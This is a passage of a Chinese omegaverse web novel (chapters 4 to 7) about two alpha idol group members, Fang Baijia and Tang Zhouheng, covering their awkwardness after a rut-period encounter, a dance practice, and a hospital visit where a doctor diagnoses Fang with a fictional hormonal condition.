这个谁喜欢吃辣,那个谁无肉不欢,谁酒精过敏,谁不吃香菜,汤昼恒都面面俱到,好像这些只不过是队长职责中最顺手的事,不会受任何个人恩怨影响。
“假大度,该不会偷偷在里面下了毒吧。”方柏嘉撇嘴吐槽。
但还是很诚实地挑了一袋,拧开盖子喝了起来。
与此同时,抬起另一只手臂,神色不太自在地摸了摸颈后。
指尖触到一条扁长形状的不连贯伤口,表面结了薄薄的痂。
alpha这块肌肤的愈合力没有omega那么强,汤昼恒应该是在他睡着的那段时间买了药给他喷了。
医用喷雾干燥后形成一层薄膜,盖住了腺体表面,却挡不住从血液当中散发出的信息素气味。
方柏嘉屏息了几秒,再深呼吸。
面前的空气里,汤昼恒的樱桃味儿正和他自己的奶油香混合在一起,闻起来像刚从冷藏室端出来的樱桃蛋糕。
不知为什么,方柏嘉突然想起他被咬破腺体后,迷迷糊糊间,感受到汤昼恒湿热的舌尖滑过伤口、卷走溢出来的血液的酥痒触感。
方柏嘉的脸诡异地红了下,又骂了声靠。
现在知道事后关心了,当时怎么不知道拦着他点。
汤昼恒也是,他自己神志不清发疯就算了,怎么对方明明是清醒的,也由着他胡闹?
让汤昼恒给他标记,亏自己想得出来。
……也不知道alpha之间咬脖子到底有什么用。
方柏嘉觉得自己一定是疯了,才会向汤昼恒提出这么奇葩的要求。
可他那会儿被某种念头煎熬着,是发自真心地觉得这样能让自己好受些。
现在回想起来,方柏嘉都感到诧异。
自己当时在意识不清醒下由本能引导做出的种种举动十分反常,并不像一个Alpha应有的行为。
反而更像是……Omega。
这个想法一出来,就把方柏嘉吓了一跳。
想了想又觉得过于好笑,晃晃脑袋把它从脑海里驱逐走。
可能真是吃药太狠把身体吃出问题了。改天得找时间去医院看看。
他这样想着,视线落到最后两条信息上方。
【话说回来,你经常这样吗?给人钱然后随便亲别人?对人家摸这摸那,再让人对你这样那样?】
【没有别的意思,只是好奇。】
4. 第 4 章
两条消息和前面其他几条相隔足有二十分钟,可见汤昼恒也反复琢磨了良久。
方柏嘉的第一反应是:什么意思,阴阳怪气?
对方该不会是在暗讽他不花钱纯白嫖吧。
可仔细品味一下,又不像是在要钱。
对方最后那两句话太意味深长,方柏嘉看不出他是在责备还是揶揄。
其他几条信息则像是随处可见的日常谈话,让人察觉不到对方的态度。
总体来说,都很模棱两可。
方柏嘉现在就是一个拔剑四顾心茫然的状态。
他昨晚都那样老公长老公短地挂在对方身上撒娇了,汤昼恒就算再迟钝,也该察觉出自己喜欢他了吧。
那对方现在这个反应是怎么回事?
他一个大男人被调戏了一整晚,第二天起来还要发消息关心方柏嘉身体,却对真正的问题避而不谈,这对吗?
——如果说昨天处在易感期高峰的方柏嘉满脑子只有求欢,从而忽略了本有的情绪,那么现在理智重回高地之后,方柏嘉就不得不重新审视起这件事来了。
清醒过来回忆,汤昼恒不论是在亲他、安抚他,亦或者对他做别的事情的时候,都是有表现出过相当明显的迟疑的。
虽然贴心,但是又不情不愿。所有的事都是方柏嘉主动要求、软磨硬泡,他被缠得没办法了才不得不磨磨蹭蹭做出回应。
相比起方柏嘉的热烈情动,他的所作所为实在冷淡,方柏嘉中途想反过来帮他,汤昼恒也不让。
说实话挺不爽的。
方柏嘉啧了一声。
自己无所不用其极地招惹了对方一晚上,汤昼恒还能忍住不睡,可见根本对他没什么兴趣,小说里写的什么一场意外翻云覆雨意乱情迷更是瞎编。
那他就不懂了,汤昼恒既然对他没感觉,为什么还要留下来照顾自己,动机是什么?
不主动,但是也不拒绝。
方柏嘉不问,他也就装不知道。
是在等他自己提及,自投罗网?
还是暗示对方只是单纯出于队长的责任感礼貌友好、不带感情地逢场作戏一下,菜都送上门来了就顺便吃两口,但是不负责也没后续?
方柏嘉拧紧眉头思考。
前两天才发生那种事,对面对他的观感一定不怎么样。
得知爱和自己作对的人其实是暗恋他的深柜,那个人会怎么想——
暗中嘲笑自己,或者觉得很得意?
想到这里,方柏嘉忍不住有点焦虑和烦躁。
被人发现自己喜欢对方已经够没面子,更可怕的是他昨晚各种黏糊糊求草的样子还被汤昼恒看在眼里,汤昼恒还把他给婉拒了!
不行,这太伤自尊了。
方柏嘉一下子从床头坐起来。
……得想办法补救,不能让对方抓住自己的把柄。
他如临大敌地盯着两人的聊天界面,大脑开始飞速运转。
汤昼恒既然没有明说,或许也有一些其他因素作祟,让他没有十足确定的把握。
这时候方柏嘉一旦按捺不住开口询问,就会处于下风。
相反,表现出自己毫不在意,甚至想要快点一笔带过的样子,说不定就能打消怀疑。
不,得比那个再强烈一点。
方柏嘉:【知道了,谢谢。】
【那个……昨天晚上认错人了,抱歉。】
【就当没发生过吧,这样对你对我都好。】
天,我简直是个天才。
这个理由,不仅完美地把他管汤昼恒叫了一晚上老公的因果关系给圆过去了,甚至还加了一层保险。
觉得我对你有意思?不好意思,我喜欢的另有他人。
至于是谁,猜去吧你。
一般人应该也不会自大到追问这种事情。
嘴里叼着的营养剂跟着见底,被他吸出“滋滋”声。
方柏嘉反复把发出去的消息检查了几遍,自认为没什么破绽,下床扔了垃圾,又一头栽倒回被窝。
此后的几个小时都没回应。
一直到晚上十点,汤昼恒才终于发来一条非常简洁的:【…………】
方柏嘉又等了一会儿,对方始终没有下文。
?
就没了?
自己在那挠破头纠结了快一下午,最后得来的就是一串省略号?
方柏嘉有种不真实感。
所以这是他的计划成功了的意思吗。
汤昼恒不回,方柏嘉也懒得在那里继续分析揣摩对方的想法。
算了,就这样吧,能做的他都已经做了。
头晕。
方柏嘉摸了摸额头,才发现自己还发着轻微的易感热。
汤昼恒的帮忙让他捱过了昨天的巅峰热潮,但毕竟没有真做,起到的效果有限,方柏嘉接下来两天还是在卧室里窝着。
睡了醒,醒了睡,饿了就啃袋营养剂。
眼下这种情况,方柏嘉很不希望短时间内再和汤昼恒接触。
然而事与愿违,易感期结束后再过两天,就是成员们合体练舞的日子。
时间过于紧促,方柏嘉见状,也打消了去医院的念头。想着反正是生理期的事,等下次易感期再看看也不迟。
这天早上。
约定好九点在练习室集合,方柏嘉匆匆吃了个面包就往公司赶。
到了楼下发现时间还有剩余,他反而又不着急了,转身进了公司楼下隔壁的咖啡厅,现场点了一单。
……其实是还没做好马上要见到汤昼恒的准备,想给自己一点缓冲时间。
结果等待制作的过程中看了眼群消息,才发现汤昼恒也还没来。
江白树在微信群里发了张自己和丞绪、杭泽宇的合照,@了剩下三个人的ID问他们人到哪了。
陆翰音说他还在堵车,汤昼恒干脆没回。
方柏嘉眨了眨眼,目光从文字泡上移开,冲着咖啡厅陈设拍了张照片,发到群里,说:【在等。】
【还有谁想喝?我一起买。@全员】
……
方柏嘉最后是两只手提着整整六个袋子走出的咖啡店。
来到公司门口,看到熟悉的人影出现,保安小跑过来给他开门。
跑到一半,脚步却蓦地停住,不再往这边走。
方柏嘉正疑惑着,一只手突然从斜后方伸出,替他将门拉开。
这手极修长,腕侧到掌背攀着几根淡淡凸起的血管,瞧着无端的引人遐想。
看手掌高度,应该比他高上那么几公分。
……整个公司比方柏嘉高的人就没几个。
方柏嘉的心一下提起来。
似有预感地一回头,果然看到汤昼恒那张脸。
来人垂了垂眼,目光从他手中的包装袋上扫过。
“要不要我帮你?”
估计是看方柏嘉一个人拎有些麻烦,他这么说着,身体已然半前倾过来,自然而然要将其中三个袋子接过。
这一下凑得太近,汤昼恒额前的发丝都几乎从他眼前五公分的地方晃过去。
一阵樱桃淡
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香袭来,方柏嘉不知受到什么刺激,冷不丁把袋子往后拽了点,整个人也后退一步:“不用,这个不沉——”
好像恨不得立刻和汤昼恒划清界限。
看他这样,汤昼恒也愣了愣,悬停在空中的手落下,顿了下才说:“好。”
方柏嘉回头,一句话也没说地进了大厅。
走了两三步才反应过来,自己刚才是不是反应过度,表现得太夸张了?
汤昼恒会不会觉得他很没礼貌?
于是又转过身,语气生硬地提起袋子示意:“……那个,喝咖啡吗?”
汤昼恒顺着他的动作看了看,很礼貌地拒绝了:“不了,谢谢。”
“嗯……”方柏嘉找不到话说了。
揣摩了一下他那句“不了”的态度,心想,这人该不会是生气了吧。
扫过门禁,二人相继刷卡进了电梯。
好死不死,这一趟只有他们两个人。
按下电梯按钮后,又沉默了片刻。
汤昼恒突然问:“脖子上的伤好点了吗?”
方柏嘉过了两秒才意识到对方在问什么。
他偏了偏头,和正看向他的汤昼恒对上眼神,想到刚才他在对方前边走,汤昼恒应该是看到了他脖子上的阻隔贴。
“还行。”方柏嘉含混而又尴尬地说。
汤昼恒又道:“好的。”
方柏嘉:“。”
无言以对了片刻,两人纷纷收回视线目视前方,空间内部再度陷入死一般的沉寂。
“…………”
好微妙。
明明以往每次到公司上班,方柏嘉最期待的就是这样的时刻。
如果运气够好,就能刚好赶上和汤昼恒搭乘一班电梯。
就算这样也做不了什么,因为每次一和汤昼恒单独待在一起方柏嘉就头脑晕眩,连姿势都不会摆,哪怕心里都开始放烟花了,所能做到的最大限度也只是面无表情地冲对方点头示意一下。
就这样站在一起也很爽了。
那种整片空间里只有自己和他在一同呼吸的共振感。
但现在方柏嘉只想赶紧消失。
他本身就是对同类信息素极敏感的类型,不知道是不是被对方标记过的缘故,方柏嘉如今对汤昼恒的易感程度甚至放大到了之前的十倍。
此刻位处于封闭的电梯厢里,就好像被装进一个属于对方的气味盒子。方柏嘉不由自主地心跳加速,甚至开始感到腿软。
救命。
Alpha被咬了腺体这么饥/渴是正常的吗。
他浑身僵硬地站在原地,余光看着前方枪银色的门上倒映出他和汤昼恒模糊的身影,一个在左,一个在右。
……他要是稍微往旁边走一点,对方应该不会注意到的吧。
方柏嘉想着,悄悄移动碎步,好像在随意活动脚踝一样,佯作无心地往最近的墙侧挪了挪。
然后再挪了挪。
挪到他觉得差不多又不会太明显的位置,方柏嘉便停下来,假装认真观察前方显示屏上的楼层数字。
余光看着他越跑越远的汤昼恒:“……”
自己是什么很可怕的人吗?
不知过了多久。
一阵漫长的等待后,电梯终于发出“叮”的一声。
到了。
方柏嘉双肩沉下,如释重负地长出一口气,甚至没注意到自己的这个“呼——”有多明显。
金属门一开启,他就大步向前冲了出去。
汤昼恒脚下一顿,也跟着走出电梯。
5. 第 5 章
到了练习室,舞蹈老师已经就位,方柏嘉打了声招呼,开始给众人分发饮料。
除了给成员们的几杯,剩下的都给了老师以及日常跟着他们拍摄剪辑物料的工作人员。
最后还多出来一份,他在走廊上找了个路过的人送了。
回到屋中,刚把自己那份插上吸管,站在旁边照镜子的江白树“咦”了一声,碰了碰他脖子后边戴着的东西。
“你这里是怎么回事?”
一瞬间,方柏嘉几乎是条件反射地顶开他的手臂,猛一下护住脖颈:“你干什么?”
江白树手还停在半空中,一脸莫名:“……这话应该我问你,你反应这么大干什么?你易感期结束了吧,怎么还戴这玩意儿?”
忽然提高的音量引来不远处正在交谈的丞绪和汤昼恒的注意,两个人都转过头来看着这边。
方柏嘉的脸色倏地变得不大自然起来。
还能有为什么。
他的腺体现在里面有汤昼恒的樱桃味信息素,外边有一眼就能看出被人咬过的伤口,不采取措施的话就太明显了。
想完全不被发现是不可能的,好在方柏嘉提前在脑海里排练过说辞,搪塞着说:“我最近有点激素分泌紊乱,不贴的话味道太大了。”
听清他们在说什么,丞绪问:“去医院看过没有?”
“……还没有,也不急。”方柏嘉哽了一下,感受到丞绪身边那人的目光落在自己身上,半边身子都像发了麻。
好诡异,这种当着另一个当事人的面瞎扯的感觉。
脸上有些发热,他强迫自己不去看汤昼恒是什么反应,佯作不经意地糊弄:“也不是什么大事,过几天再看吧。”
说完当即低头,欲盖弥彰地啜了一口拿铁。
丞绪露出一脸不太赞同的表情,刚要说些什么,最后一名成员陆翰音一路小跑着从门口窜进来:“抱歉抱歉,路上堵车了!”
不知有意无意,汤昼恒恰在这时救场似的拍了下手掌,示意大家到镜子前集合:“人都到齐了,我们正式开始吧?”
话题很快揭过,方柏嘉也放松下来。
接下来一个星期,他们都泡在练习室里练习这次新专主打歌的编舞。
这天中午快一点,一行人结束了上午的练习,一块去公司食堂吃饭。
餐桌上聊到陆翰音昨夜刚刚打包东西搬回宿舍的事,事件主人公忍不住吐槽。
“……离太远了,早上又堵车,坐车过来要好久。我就是磨蹭,前两天就想搬,一直没收拾完。”
陆翰音是他们组合年龄最小的,和倒数第二的杭泽宇一样还在上大学,赶上去年团体空窗期,他俩都在学校附近租了房。
杭泽宇练习第一天就回宿舍住了,闻言嗤笑一声:“谁让你懒。对了哥,你不搬回来住吗?”
后边这句是问斜对角的汤昼恒的。
现在组合六个人里,就剩下他一个还没归队。
陆翰音一听也来了精神:“就是,他们宿舍人早就齐了,我们呢?哥,你也把你那几只猫带回来给我和方柏嘉瞧瞧呗。”
听见自己和另一个人的名字被一同提起,汤昼恒举着筷子的手顿了顿。
视线不经意朝方柏嘉的方向分去一瞬,想想才笑道:“你也知道是‘几只猫’,上个月才跟我从剧组那边坐车回来,运来运去的有点麻烦。再说吧。”
方柏嘉就在旁边听着这几个人你一言我一语,也不说话。
扒拉了几下减脂餐,实在没有胃口,把筷子放下了。
轻轻的“啪”的一声,再度引来还没收回目光的汤昼恒的注意。
隔着中间一个人的距离,若有所思地看着他。
杭泽宇听到响动也转过头,看到他餐盒里还剩一大半东西,夸张地挑眉:“你就吃这么点?”
方柏嘉“嗯”一声。
“看你这两天都没什么精神,怎么了?”
汤昼恒的声音突然响起,吓了方柏嘉一跳。
他定了定神,迟疑一下,说:“肚子有点不舒服。”
不知道为什么,这几天他突然开始小腹隐痛,身上的疲惫感也加重了,跳一会舞就累得不行,腰椎也跟着酸。
要说多疼也算不上,就是很烦人。
因为不算严重,他也没怎么当回事,今早吃了片止疼药就来了公司,本来上午都没什么感觉了,刚才却又冷不丁抽疼起来。
“是昨晚吃坏东西了,还是着凉?”丞绪跟着问。
方柏嘉摇摇头:“不知道。反正一会也过去了,没事。”
前一天晚上也出现过类似情况,当时他只难受了一阵,方柏嘉理所当然地觉得这次也一样。
他收拾了下餐盒,一个人提前回了练习室,打算在角落里的沙发上休息一会儿。
这沙发平时用来放成员们的随身物品,好几个人的挎包和脱下来的衣物都扔在上面。
方柏嘉将它们拿起来堆在一旁。拎起其中一件时,他一眼就认出来,这是汤昼恒今天穿来的那件卫衣外套。
“……”
方柏嘉缓慢地眨了眨眼。
有点想……
不你不想。
他严正地叱责了自己。
随即把衣服放下,坐到沙发左边的空位上,开了一局游戏。
二十分钟后,游戏结束。
方柏嘉忍不住再次抬起视线,悄悄看向沙发另一边的灰色外套。
回过头,再转头。
再回过头,再再转头。
无形的力量始终在拉扯着他,一番天人交战后,方柏嘉终于还是没有克制住冲动,把那件衣服拿到手里,低下头,小心翼翼地闻了闻。
这完全是由生/理本能主宰的行为,就像方柏嘉那天想让汤昼恒咬他一样,在真正做出这个举动之前,他并不知道自己到底想要什么。
直到熟悉的樱桃香气涌入鼻腔,方柏嘉下意识地深吸一口。
……这才突然意识到,他在找寻的是汤昼恒的信息素。
方柏嘉感觉自己像变态,但是又忍不住。
觉得气味太淡,把衣服翻到里面,试图获取更多来自那人的气味。
就在这时,吃完饭的江白树和杭泽宇回来了。
打头的江白树一进来就看见方柏嘉大半张脸都埋在另一个人的外套里狂吸的场景,不由得“卧槽”一声:“你在那儿拿人家的衣服干什么呢?等等,这该不会是队长的吧?!”
方柏嘉茫然地从衣服领口抬起头来,一脸的尴尬。
他也没想到自己难得鬼迷心窍一次,刚好就被人撞上。
也不知道脑子里哪根筋搭错,硬着头皮来了句:“我是觉得……这件衣服有股怪味,就拿起来看看。没事了。”
说完干笑两声,就要把外套撇到一边。
杭泽宇走到近前,闲着无事,抓起衣服用力吸了两下,疑惑地说:“没有啊,只有洗衣液的味道。你干嘛说汤哥的衣服臭。”
话音刚落,门口紧接着传来脚步声。
同一时间,汤昼恒走进了练习室的门。
方柏嘉:“…………”
毁灭吧。
此时此刻,方柏嘉恨不能把对方的嘴给缝上——不,还是穿越到半分钟前缝上自己的嘴好了。
到底是什么脑回路,居然能想出那种理由。
杭泽宇这家伙还好死不死给他复述了一遍,搞得好像他在背地里诬陷汤昼恒时刚好被抓包了一样。
事情还没完。
杭泽宇见到来人,像有新鲜事要分享,立刻朝着汤昼恒兴冲冲道:“哎哥,你知道吗,方柏嘉刚才说你……”
最后几个字还没说完,方柏嘉再也忍无可忍,恼羞成怒、还有点慌张地伸手捂住对方喋喋不休的嘴,将他向后拖。
“唔唔、唔!”
杭泽宇预感大事不妙,立刻向最近的江白树施以眼神求助,对方却只是幸灾乐祸地旁观。
不远处,汤昼恒一脸淡淡诧异地停下脚步看这两人打闹。
突然被经纪人从走廊外面
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叫了一声,他回头望了一眼,似是叹了口气,抬眸看到一旁看热闹的江白树,冲他不满地做了个警告的手势,这才匆匆地走了。
汤昼恒一离开,方柏嘉愈发肆无忌惮,甚至忘了自己身体抱恙这回事,从背后做锁喉状把杭泽宇押回沙发质问:“你刚刚瞎讲什么?我明明说的是怪味,怪味!”
到底在这篡改什么台词!
杭泽宇被他压得咳嗽起来,对方柏嘉的在意点表示不解:“这两个词区别很大吗!怪味不是臭的难道是香的啊?自己亲口说出来的话还要怪别人……咳咳咳放开我,你这个谋/杀犯,暴力的Alpha!没看出你哪里不舒服了!”
听到这里,方柏嘉动作不由停顿一下。
虽然怪味确实不是什么好词但是……和直接说臭还是有区别的吧。
“哦。”他冷冷地说,“连一个肚子疼的人你都打不过,还不是你菜——下次再多嘴一个试试。”
方柏嘉做了个大拇指在脖子上狠狠一划的动作。
“差不多得了,你俩这样有劲吗。”江白树总算还记得汤昼恒临走前的叮嘱,走过来把二人拉开。
“你,”他对着杭泽宇,“明知道他俩……那啥着呢还故意整这出,玩呢?”
杭泽宇坐在沙发上,惊魂未定地捂着脖子:“我就是开个玩笑嘛,本来也不会真说,谁知道他反应那么大。这个人绝对有问题。”
说完,一脸愤愤地盯着方柏嘉。
“……”方柏嘉移开目光。
江白树又转向方柏嘉:“还有你,背地里说人家坏话干嘛?外面已经觉得我们组合很塑料了,你可不能再从内部继续搞分裂,听到没有不不同志!”
方柏嘉:“。”
关键我也没想到他刚好就来了啊。
事情发展到这个地步,确实是他失言在先,方柏嘉有点悻悻,但让他当场忏悔是不可能的。
他没好气地翻了个白眼:“滚,谁允许你叫我黑称了。”
江白树无所谓:“你也可以叫我老馒。”
“……”
方柏嘉静下心来,越想越烦,也不知道杭泽宇第一次说的话汤昼恒听见了没有。
按理说门口离沙发还有些距离,万一对方刚好就错过了那一句呢?
可要是没错过怎么办?他是不是得找机会和汤昼恒解释解释?
中午就在一阵胡思乱想中过去。
汤昼恒被经纪人叫去核对接下来的行程,一去就是一个多小时。
等他回来,方柏嘉腹痛的症状也好得差不多了。
一行人再度集合,开始了下午的排练。
这次的专辑主打曲风激烈,节奏感很强,相对应的,舞蹈力度也特别大,十分消耗体力。
下周就要拍摄MV,这几天他们一直在对队形走位、发力定点以及表情管理等等细节。
跳着跳着,方柏嘉身上的那种不适感又回来了。
下腹部的坠胀感越发明显,好像肚子里盛了块石头在往下落。
起初他还能强忍,然而就在几分钟内,石头逐渐发展成了保龄球的规模。
某一个瞬间,方柏嘉忽然感到呼吸困难,浑身发冷,眼前也出现了重影。
身体快要支撑不住自己的重量,发出尖锐的耳鸣作为警告。
下一秒,方柏嘉的身型冷不丁矮下去。
……
一阵嘈杂过后,周边的人全围拢过来。
汤昼恒第一个半跪下身,一只手轻拍他的背部,联想到中午的事,问他:“还不舒服,是吗?”
“是不是低血糖了?我包里还有零食,要不要吃?”陆翰音在斜后方说。
方柏嘉面色苍白地蹲在地面,整个人处在要晕倒的边缘。听到任何问题,也只是紧拧着眉毛点头或者摇头,一只手按在腹部,疼得话都说不出。
汤昼恒侧头观察一会儿他的表情,说:“看起来不像。”
他扶着方柏嘉站起来。
“你们接着练,我陪他去医院看看。”
6. 第 6 章
方柏嘉晕头转向地被对方带下楼。
濒临休克的体验还没散去,眼前依然阵阵发昏,看什么东西都像蒙着一层黑纱。
到了车里,他立刻不顾形象地蜷缩起来,上身压低贴着大腿,额头抵住膝盖。
汤昼恒看他的姿势实在别扭,拍了拍方柏嘉的后背示意他:“不舒服可以往我这边靠。”
放在平常大概不会成功的事,方柏嘉这回却表现得异常乖巧——主要也是实在疼懵了,这回想逞强也没有机会,更无法像在电梯里那样保持距离。
听了汤昼恒的话,他迷迷糊糊就朝他身上倒,整个人侧躺下来,把汤昼恒的大腿当做枕头。
“师傅,麻烦开快点。”汤昼恒催促一声,开始给经纪人发消息。
觉得方柏嘉有点可怜,中途停下来伸手摸了摸他的头发。
方柏嘉没说话,像被惊扰的动物那样不适地晃了晃头,汤昼恒以为他不高兴,就把手给拿开了。
却见方柏嘉提起双腿,小心翼翼地不让鞋子碰到座垫,在座位上翻了个身,面朝着自己的方向。
汤昼恒也没在意。
过了一会儿,感觉胸前灌进一阵冷风,有什么柔软的东西在一点一点地顶着他的腹部。
汤昼恒困惑地低下头。
首都四月份的早春还没暖和到可以全天穿着短袖,汤昼恒出来前就把自己的外套套上了,又让方柏嘉穿上他的,还带上了对方的身份证件。
他外套拉链没拉,本只虚虚在身前拢着,这会儿却被方柏嘉给撩开,迷迷糊糊就往他的卫衣外套里钻,埋在汤昼恒的腹部,小狗一样不停吸着气地闻。
汤昼恒刚才感受到的物体,就是他在嗅闻过程中屡屡撞上来的鼻尖。
“……”等一下,这是在做什么。
汤昼恒难得错乱地眉梢一跳,大脑有一瞬空白。
他把外套撩开,想让方柏嘉的脑袋露出来,却遭到了对方的反抗,自己又把头顶那块布料给拽回去,变本加厉地用额头蹭着他的肚子,不清醒地耍赖的样子和易感期那天一模一样。
汤昼恒没有办法,只能拎起身上长袖T恤的领口,凑过去仔细闻了闻。
又闻了闻外套内里。
还好。
虽然跳了一个上午的舞,但练习室里一直开着空调,没出太多汗,也闻不出什么异味。
甚至因为大量运动,促进了他的信息素分泌,导致汤昼恒的贴身衣物上都是一股樱桃味。
可不管怎么说,这个位置都有点太尴尬了。
想到这里,汤昼恒动手把外套脱下,不顾方柏嘉反对地盖在对方身上,把他裹吧裹吧包成一个团子。
方柏嘉刚开始还挣扎两下,后边也安静下来不再折腾,整个上身都埋在汤昼恒版型宽松的卫衣外套里,晕乎乎地被对方的气味包裹着抵达了目的地。
*
到了医院,晕厥的感觉已经渐渐散去。
但因为腹痛,方柏嘉还是全身无力。汤昼恒让他在候诊大厅坐着,前面的登记、挂号、缴费这些事情都由自己来做。
到了超声科来做B超,女医生得知他是来检查腹痛的,往他的肚皮上挤了些耦合剂:“按到哪个地方疼跟我说。”
方柏嘉嗯了一声,对方便手握超声探头,就着冰凉黏腻的物质在他腹部划动起来。
探头经过下腹部某片区域,方柏嘉感到一阵钝痛,立刻说:“疼。”
医生顿了顿,加大力道,反复在这块地方碾磨几下:“这里?你确定?”
痛感本就一直在持续,被对方这么一按,方柏嘉不受控制地闷哼出来,上半身条件反射地抬了抬,几乎是咬着牙根说:“确定。”
医生就不说话了,只是认真端详着显示器上的图像,脸上闪过一丝困惑。
“这个部位……”她顿了顿,看了眼方柏嘉,又打量了下他的病历单,“alpha,急诊内科?”
医生露出正在思考中的表情,从一旁拿过抽纸,示意方柏嘉自己擦掉耦合剂。
过了几秒,拿起一旁桌上的座机打了个电话,和一位同样是医生的人交流起来。
几分钟后,她转头对方柏嘉道:“你这挂号不对。去挂个生殖内分泌科的号,嗯……找林主任。”
……
方柏嘉穿好衣服,一头雾水地走出诊室。
尽管并不理解,还是按照那名超声医生说的,重新挂了其他科室的号,还被安排多做了好几项检查。
好在现代医学足够发达,所有报告一下午都能取到。
方柏嘉带着检查结果去找林主任。
对方是名看样子五十多岁的中年女性,显得温和儒雅。
翻看了片刻报告,问方柏嘉:“最近有纳入式性/行为吗?”
“什——”
问题一上来就超出想象,方柏嘉反应了一秒,才说:“没有。”
他狐疑地猜测对方为什么会这么问,踟蹰着补充:“但是有一些边缘性/行为,呃,也临时标记了。”
“对方是Alpha?”
“对。”
这里是医院,常年接触病人的医生想必也见多识广,没什么需要隐瞒的。方柏嘉感到有点局促,但还是实话实说。
林主任点点头,又问了他平常的激素水平怎么样、易感期会不会觉得很难受、上一次易感期是什么时候之类的事。
“标记的时候,会感觉到对方的信息素对你很有吸引力吗?有没有那种生理层面上的,很不能自拔的感觉?”
这下方柏嘉是真的惊讶了:“您怎么知道?”
林主任只是笑笑,以十分自然的口吻见怪不怪道:“外边那个是你男朋友吧,最好把他也叫进来听。”
“……啊?”
方柏嘉这一声比刚才被问到性/生活时调还高,意识到对方口中的“男朋友”指的是汤昼恒,很不合时宜地闹了个红脸。
刚才汤昼恒一路搀着自己过来,她肯定是看到了。
“他……他不是。”方柏嘉有些尴尬地答。
林主任的脸上闪过一丝不解,像在重新评估这两人的关系,指了指方柏嘉的后颈:“你这儿是他弄的吗。”
“……”
方柏嘉:“是。”
“有别的男朋友吗?”
“……没。”
“所以是第一次被人标记?”
“呃,对的。”
“那还是让他来吧。”
到底是经验丰富的医生,林主任对此并没感到多意外,脸上没什么表情地就做了决定。
方柏嘉不好违抗医嘱,一脸纠结地走去开门,然后,情不自禁地“咦”了声。
他本以为汤昼恒会在候诊区找个椅子坐下,还打算找他,出了门一抬头,却发现对方就在诊室门口,身体斜倚在墙边看着手机等他。
汤昼恒发现他这么快就出来了,先是一愣。
得知自己也要旁听,不由感到有些意外:“是情况很严重吗?”
方柏嘉不好说,含糊地摇摇头。
汤昼恒便跟他一起进了诊室,因为没有多的椅子,只能站在方柏嘉身后。
“先说下检查结果。”林主任扶了下眼镜,视线轮流从他们身上扫过,最后定格在方柏嘉身上,“你的生/殖腔发育得比一般alpha要好些,你知道吧?”
刚才林主任提的几个问题都太有针对性,方柏嘉心中隐隐有不好的预感:“嗯……知道。”
初中的生理课堂说过,原始的A与O都进化自最古老的人类Beta,直至现在,现代alpha的体内都有退化后的生/殖腔结构残留——基本是一个不超过小指长度的肉节。
但也有很小一部分alpha,因为一些特殊原因,生/殖腔会
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呈现出一定程度的发育迹象。
上学时学校都会组织体检,方柏嘉不可能对此一无所知。
然而知道归知道,他平时也不会见人就说自己生/殖腔长得还可以。
这样当着汤昼恒的面被提到自己身体里某个隐秘的“不同”,方柏嘉不禁感到有些古怪。
接着,就听林主任往下道:“根据B超报告单显示,你的生/殖腔正处于充血状态,目前看来是有一些炎症。”
“所以你会晕倒,应该是由腹痛刺激和大量运动后疲劳引起的血管迷走神经性晕厥。”
方柏嘉:“?”
等等,是不是有哪里不对。
“可是,我们没有插/入——”
以方柏嘉学到的生理知识来说,能导致生/殖腔发炎的,就只有被/草/进腔口这一点了。
他一脸茫然,下意识地反驳。因为过于震惊,甚至忽略了一直萦绕在他和汤昼恒间的古怪氛围,转身寻求身后那人的附和。
下一秒才反应过来,自己的话似乎有些过于狂野和直接。
两人视线相接,一下触及到关于某晚的回忆,不等对方回应,方柏嘉又匆匆扭回头正襟危坐,心脏跳动得飞快。
汤昼恒心中也有些诡异,却将他的表现当成得知结果后的慌乱和不安,一只手搭上方柏嘉的肩膀,安抚性地捏了捏,示意他放松。
林主任也让他稍安勿躁:“这就是我接下来要讲的内容。结合你的各项报告及自述来看,你应该属于很罕见的产前下丘脑结构发育异常影响性偏好及激素水平型Alpha。”
“???”
对面的两个人不约而同地露出了不同程度的“这是什么鬼专业名词”的表情。
名称太长,甚至让人无法复述。
看到方柏嘉还是一脸茫然的样子,林主任向二人简单解释了下。
虽然人类往往要到十六七岁才分化出第二性别,但现在不少科学研究表明,一个人未来会成为A、B还是O,都在他还是一个胚胎时就已经定型了。
“然而,当你还在你母亲的肚子里发育时,你大脑中负责表现性别差异的神经核团出了问题,导致你体内转化的omega性激素远超Alpha的正常水平。过多的O激素促进了本应退化的生/殖腔重新发育,你的身体误以为自己是O,所以才会被A的气味吸引,出现类似omega那样渴望alpha信息素、希望被插/入等等的假性发/情症状。”
林主任用科学的口吻面无表情地陈述着令人面红心跳的内容。
“…………”
方柏嘉一脸石化地呆在原地。
“至于生/殖腔发炎,我猜测,应该是你之前所述的易感期边缘性/行为和标记起到了作用,你的身体受到alpha信息素刺激,开始试图‘履行’繁衍的职责,想让你的生/殖腔排卵,但你并没有这个功能,就引发了器官的过度反应。”
“这种情况,我建议你和标记你的alpha多做接触。”
林主任随手将检查报告递过来,被汤昼恒伸手接过。
“一方面是脱敏,在一段时间内以一定的频率固定接受来自alpha的信息素,让你的身体尽快适应这种状态,形成习惯之后,就不会反应这么剧烈。这也是从长远角度考虑,否则哪怕你这次治疗完,下次还是会有炎症。”
“另一方面,被标记后,你会像omega一样对标记你的人产生依赖,内分泌的紊乱也会让你更需要对方的安抚。他的信息素可以帮你调解体内的激素水平,缓解不适。”
“那么,”汤昼恒说,“具体需要怎么做呢?”
林主任:“刚开始脱敏,我建议你们每周至少进行一次中度及中度以上的信息素接触,比如临时标记、接吻这类,每次最低保持十五到三十分钟,确保更好地见效。”
“还有什么问题吗?”
7. 第 7 章
方柏嘉的确有问题。
易感期那次的事已经够让他在汤昼恒面前抬不起头,现在又明着告诉他自己接下来离不开对方的帮忙,老天爷耍他的吧?!
汤昼恒又不喜欢他,说不定对方根本就不想淌这趟浑水,他还傻傻地让他也过来旁听,谁知道汤昼恒是怎么想的。
把希望全寄托在对方身上,岂不就完了?
方柏嘉试图给自己找一个备用方案。
“我想问,除了这些接触方式以外,就没有其他方法替代吗?我的意思是,如果对方没空怎么办?”
明明汤昼恒就在身后,他却说得跟那个人远在天边一样,就这样当着对方的面问出口。
看不到汤昼恒此刻的表情,他有种不知从何而来的心虚,眼神游离了几秒,慢吞吞道:“既然您说我激素水平不正常,那我能不能通过使用提升和降低激素类的药物来进行控制?”
听语气,明显不太想采用先前的那个建议。
林主任的第一反应是看向他身后的那名青年,但对方并没什么特别的反应和表示。
